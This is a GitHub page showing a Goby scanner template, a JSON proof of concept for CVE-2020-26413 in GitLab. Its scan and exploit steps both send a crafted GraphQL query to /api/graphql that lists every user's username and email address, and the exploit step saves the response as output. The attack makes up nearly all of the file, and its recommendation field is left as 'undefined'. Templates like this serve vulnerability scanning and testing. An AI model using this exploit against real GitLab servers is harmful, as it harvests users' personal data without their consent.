-
Notifications
You must be signed in to change notification settings - Fork 8
/
GitLab_Graphql_Email_information_disclosure.json
122 lines (122 loc) · 5.15 KB
/
GitLab_Graphql_Email_information_disclosure.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
{
"Name": "GitLab Graphql Email information disclosure (CVE-2020-26413)",
"Level": "1",
"Tags": [
"Disclosure of Sensitive Information"
],
"GobyQuery": "app=\"GitLab\"",
"Description": "In gitlab, the user's mailbox and user name will be disclosed when the constructed data is input by the graphql interface",
"Product": "GitLab",
"Homepage": "gitlab.com",
"Author": "PeiQi",
"Impact": "<p>Disclosure of user's mailbox<br></p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/graphql",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"query\":\"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }\",\"variables\":null,\"operationName\":null}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "username",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "email",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "@",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/graphql",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"query\":\"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }\",\"variables\":null,\"operationName\":null}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "username",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "email",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "@",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-04-04 21:32:36",
"GobyVersion": "1.8.255"
}